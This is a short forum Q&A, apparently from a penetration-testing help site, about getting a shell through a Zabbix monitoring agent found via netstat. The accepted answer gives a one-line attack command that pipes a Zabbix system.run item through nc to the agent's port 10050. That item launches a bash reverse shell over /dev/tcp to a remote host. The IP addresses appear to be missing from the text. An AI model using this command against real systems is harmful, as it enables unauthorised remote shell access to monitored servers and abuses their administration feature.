0 votes

From netstat found a connection from a Zabbix agent on to the Zabbix server port 10051. How can I back connect?

by (147 points)

1 Answer

0 votes
Best answer

Zabbix server can interact directly with the Zabbix agent on port 10050. So we can execute commands through the agent using system.run!

[zabbix_cmd]>>: echo "system.run[(/bin/bash -c 'bash -i >/dev/tcp/ 0<&1 2>&1 &')]" | nc 10050
by (188 points)